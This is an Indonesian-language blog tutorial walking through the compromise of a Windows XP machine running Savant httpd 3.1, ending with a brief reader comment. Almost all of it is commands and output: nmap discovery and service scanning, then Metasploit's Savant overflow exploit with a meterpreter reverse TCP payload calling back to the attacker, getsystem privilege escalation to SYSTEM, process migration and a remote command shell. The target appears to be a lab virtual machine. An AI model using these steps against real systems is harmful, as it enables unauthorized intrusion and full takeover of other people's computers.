Preparation:
[*] Metasploit
[*] Nmap
Walkthrough:
Lakukan scanning host di dalam local area network dengan nmap
Command :
root@machine:~# nmap -sn 192.168.1.0/24
Output:
root@machine:~# nmap -sn 192.168.1.0/24
Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2012-01-05 22:45 WIT
Nmap scan report for 192.168.1.1
Host is up (0.0027s latency).
MAC Address: F4:EC:38:C5:5B:CC (Tp-link Technologies CO.)
Nmap scan report for 192.168.1.2
Host is up (0.057s latency).
MAC Address: A0:6C:EC:79:61:C9 (RIM)
Nmap scan report for 192.168.1.3
Host is up (0.069s latency).
MAC Address: 8C:64:22:87:A0:FF (Sony Ericsson Mobile Communications AB)
Nmap scan report for kioptrix3.com (192.168.1.5)
Host is up.
Nmap scan report for 192.168.1.6
Host is up (0.00026s latency).
MAC Address: E0:B9:A5:9D:37:E9 (Azurewave)
Nmap done: 256 IP addresses (5 hosts up) scanned in 6.87 seconds
OK. Kali ini kita akan mencoba menyerang IP 192.168.1.6
2. Reconnaissance
Pada tahap ini, kita akan melakukan port mapping dan scanning service menggunakan nmap. Port yang akan kita scan adalah port 80. Maka perintah nmap yang kita gunakan adalah:
Command :
root@machine:~# nmap -p 80 -sV 192.168.1.6 -vv
Output:
root@machine:~# nmap -p 80 -sV 192.168.1.6 -vv
Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2012-01-05 22:43 WIT
NSE: Loaded 11 scripts for scanning.
Initiating ARP Ping Scan at 22:43
Scanning 192.168.1.6 [1 port]
Completed ARP Ping Scan at 22:43, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:43
Completed Parallel DNS resolution of 1 host. at 22:43, 0.06s elapsed
Initiating SYN Stealth Scan at 22:43
Scanning 192.168.1.6 [1 port]
Discovered open port 80/tcp on 192.168.1.6
Completed SYN Stealth Scan at 22:43, 0.05s elapsed (1 total ports)
Initiating Service scan at 22:43
Scanning 1 service on 192.168.1.6
Completed Service scan at 22:44, 6.02s elapsed (1 service on 1 host)
NSE: Script scanning 192.168.1.6.
NSE: Starting runlevel 1 (of 1) scan.
Nmap scan report for 192.168.1.6
Host is up (0.00045s latency).
Scanned at 2012-01-05 22:43:57 WIT for 7s
PORT STATE SERVICE VERSION
80/tcp open http Savant httpd 3.1
MAC Address: E0:B9:A5:9D:37:E9 (Azurewave)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds
Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
Sekarang kita telah mengetahui, bahwa host ini menggunakan savant.
3. Mencari Exploit yang tepat
Kita akan mencari exploit yang tepat yang dimiliki oleh metasploit. Untuk mencarinya kita gunakan perintah search. Pertama-tama, buka terminal, dan masukan perintah:
Command :
root@machine:~# msfconsole
Dalam konsol metasploit, masukan perintah:
Command :
msf > search savant
Kita menemukan exploit untuk savant, mari kita gunakan exploit ini untuk melakukan exploitasi terhadap system korban. Dalam konsol metasploit, masukan perintah:
Command :
msf > use exploit/windows/http/savant_31_overflow
msf exploit(savant_31_overflow) > set PAYLOAD windows/meterpreter/reverse_ord_tcp
PAYLOAD => windows/meterpreter/reverse_ord_tcp
msf exploit(savant_31_overflow) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(savant_31_overflow) > set LPORT 4444
LPORT => 4444
msf exploit(savant_31_overflow) > set RHOST 192.168.1.6
RHOST => 192.168.1.6
Keterangan:
Di sini saya menggunakan PAYLOAD windows/meterpreter/reverse_ord_tcp. IP address saya 192.168.15, dan ini yang akan menjadi value dari LHOST. Untuk LPORT dapat diisi bebas, namun standar port listener metasploit adalah 4444. Kemudian Target saya adalah 192.168.1.6 yang akan menjadi value dalam parameter RHOST.
Cek kembali opsi kita dengan memasukan perintah:
Command :
msf exploit(savant_31_overflow) > show options
Output:
msf exploit(savant_31_overflow) > show options
Module options (exploit/windows/http/savant_31_overflow):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.1.6 yes The target address
RPORT 80 yes The target port
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_ord_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.1.5 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Universal Savant.exe
4. Gaining Access
Setelah semua parameter telah lengkap, kita akan melakukan exploitasi system. Pada konsol metasploit, masukan perintah:
Command :
msf exploit(savant_31_overflow) > exploit
Output:
msf exploit(savant_31_overflow) > exploit
[*] Started reverse handler on 192.168.1.5:4444
[*] Searching for a suitable nopsled...
[*] Found one! Sending exploit.
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (752128 bytes) to 192.168.1.6
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.6:1046) at 2012-01-05 22:47:21 +0700
meterpreter >
Ok. Meterpreter sesi pertama telah terbuka. Sekarang saatnya kita masuk ke dalam command prompt.
Pertama kita cek User ID kita:
Command :
meterpreter > getuid
Output:
Server username: ROOT-11E5DB48A8\Administrator
Terlihat bahwa kita bukanlah NT AUTHORITY\SYSTEM. Untuk melakukan privilege escalation, masukan perintah berikut kedalam konsol meterpreter.
Command :
meterpreter > getsystem
Output:
...got system (via technique 1).
Berhasil. Kemudian kita cek kembali User ID kita dengan perintah:
Command :
meterpreter > getuid
Output:
Server username: NT AUTHORITY\SYSTEM
Kita telah berhasil menjadi NT AUTHORITY\SYSTEM. Sekarang, kita eksekusi command prompt milik windows. Masukan perintah berikut ke dalam konsol meterpreter.
Command :
meterpreter > shell
Output:
[-] stdapi_sys_process_execute: Operation failed: 1314
Ooops. Seharusnya ini tidak terjadi. Kita coba dengan cara lain.
Command :
meterpreter > execute -f -i -H cmd.exe
Output:
[-] stdapi_sys_process_execute: Operation failed: The system cannot find the file specified.
Sepertinya ada yang salah dengan work directory kita. Seperti yang kita ketahui, file cmd.exe terletak pada direktori C:\WINDOWS\system32. Untuk dapat mengeksekusi command prompt, kita harus berpindah process ke process yang file asalnya terdapat dalam direktori C:\WINDOWS\system32. Untuk mencari process yang memiliki sumber dari direktori C:\WINDOWS\system32, kita akan menggunakan perintah ps. Masukan perintah ini ke dalam konsol meterpreter.
Command :
meterpreter > ps
Output:
meterpreter > ps
Process list
============
PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
1040 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1060 TPAutoConnSvc.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
1080 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1124 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1136 wscntfy.exe x86 0 ROOT-11E5DB48A8\Administrator C:\WINDOWS\system32\wscntfy.exe
128 explorer.exe x86 0 ROOT-11E5DB48A8\Administrator C:\WINDOWS\Explorer.EXE
1284 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
1320 VMwareTray.exe x86 0 ROOT-11E5DB48A8\Administrator C:\Program Files\VMware\VMware Tools\VMwareTray.exe
1396 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1444 sched.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Avira\AntiVir PersonalEdition Classic\sched.exe
1512 vmtoolsd.exe x86 0 ROOT-11E5DB48A8\Administrator C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1520 rundll32.exe x86 0 ROOT-11E5DB48A8\Administrator C:\WINDOWS\system32\rundll32.exe
1532 avgnt.exe x86 0 ROOT-11E5DB48A8\Administrator C:\Program Files\Avira\AntiVir PersonalEdition Classic\avgnt.exe
1600 avguard.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Avira\AntiVir PersonalEdition Classic\avguard.exe
1612 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1676 metsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\TEMP\gDzCKIoJEf\metsvc.exe
1844 TPAutoConnect.exe x86 0 ROOT-11E5DB48A8\Administrator C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
1964 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
2656 wuauclt.exe x86 0 ROOT-11E5DB48A8\Administrator C:\WINDOWS\system32\wuauclt.exe
3628 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
4 System x86 0 NT AUTHORITY\SYSTEM
524 Savant.exe x86 0 ROOT-11E5DB48A8\Administrator C:\Savant\Savant.exe
548 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
612 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
636 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
680 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
692 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
848 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe
860 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
944 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
Perhatikan process 860, dimana svchost sedang berjalan. svchost memiliki file asal yang bernama svchost.exe yang teletak pada direktori C:\WINDOWS\system32. Kita akan berpindah ke process ini dengan perintah:
Command :
meterpreter > migrate 860
Output:
meterpreter > migrate 860
[*] Migrating to 860...
[*] Migration completed successfully.
Kemudian kita eksekusi command prompt dengan perintah shell.
Command :
meterpreter > shell
Output:
meterpreter > shell
Process 3072 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Perfect as usual =)
created by: red-dragon
keren .... :)
ReplyDelete